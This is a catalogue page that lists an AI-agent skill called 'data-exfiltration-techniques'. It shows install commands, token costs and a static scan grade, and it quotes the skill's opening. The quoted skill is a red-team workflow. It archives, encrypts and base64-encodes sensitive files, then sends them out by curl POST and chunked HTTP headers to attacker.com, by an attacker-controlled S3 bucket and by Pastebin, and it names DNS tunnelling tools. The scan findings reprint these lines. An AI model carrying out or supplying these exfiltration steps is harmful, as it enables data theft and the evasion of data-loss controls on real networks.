Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/data-exfiltration-techniquesWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/data-exfiltration-techniques)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/data-exfiltration-techniques"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/data-exfiltration-techniques/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/data-exfiltration-techniques"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/data-exfiltration-techniques.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00080 | $0.01941 |
| Opus 5 | $0.00040 | $0.00971 |
| Sonnet 5 | $0.00016 | $0.00388 |
| Haiku 4.5 | $0.00008 | $0.00194 |
Grade A, and why
data-exfiltration-techniques scanned grade A with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -X POST -d @data.b64 http://attacker.com/upload Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Asks for rootlowPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -X Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
tools: [dnschef, iodine, dnscat2, curl, powershell] This is a copy
100% identical to data-exfiltration-techniques — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 190 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Data Exfiltration Techniques
When to Use
- During the final phases of a red team operation to achieve the objective
- When testing the effectiveness of Data Loss Prevention (DLP) solutions
- When validating egress firewall rules and network segmentation
- To prove impact after accessing simulated sensitive data (crown jewels)
- When establishing covert outbound communication channels
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Data Preparation & Obfuscation
# Before sending, data must be staged, compressed, and encrypted to evade DLP
# Linux: Archive, Encrypt, and Encode
tar -czvf data.tar.gz /path/to/sensitive/data
openssl enc -aes-256-cbc -salt -in data.tar.gz -out data.enc -k "SecretPassword"
base64 data.enc > data.b64
# Windows: Compress and Encrypt (PowerShell)
Compress-Archive -Path C:\SensitiveData\* -DestinationPath C:\Temp\data.zip
# AES encryption script or simply converting to Base64 to bypass basic filters
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\data.zip")) | Out-File C:\Temp\data.b64
# Split large files into chunks
split -b 10M data.b64 chunk_
Phase 2: Exfiltration over Standard Web Protocols (HTTP/HTTPS)
# Web protocols are often allowed outbound
# 1. HTTP POST to attacker server
curl -X POST -d @data.b64 http://attacker.com/upload
# 2. Exfiltration via HTTP Headers (stealthier)
# Break data into chunks and send via User-Agent or custom header
for chunk in $(cat data.b64 | fold -w 50); do
curl -H "X-Session-ID: $chunk" https://attacker.com/api/v1/status
done
# 3. Exfiltration to legitimate Cloud Services (often bypasses proxies/allowlists)
# - AWS S3
aws s3 cp data.enc s3://attacker-controlled-bucket/
# - Pastebin
curl -X POST -d "api_dev_key=YOUR_KEY" -d "api_option=paste" -d "api_paste_code=$(cat data.b64)" https://pastebin.com/api/api_post.php
# - GitHub Gist, Transfer.sh, File.io, Discord Webhooks
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 190 lines · 80 tokens per session scan A 3189b6af0e00
data-exfiltration-techniques is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 80 tokens to every session and 1,941 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 3 findings (sends data to an external url, asks for root, makes network calls). It is 100% identical to data-exfiltration-techniques, differing in 0 lines, and is treated as a copy.
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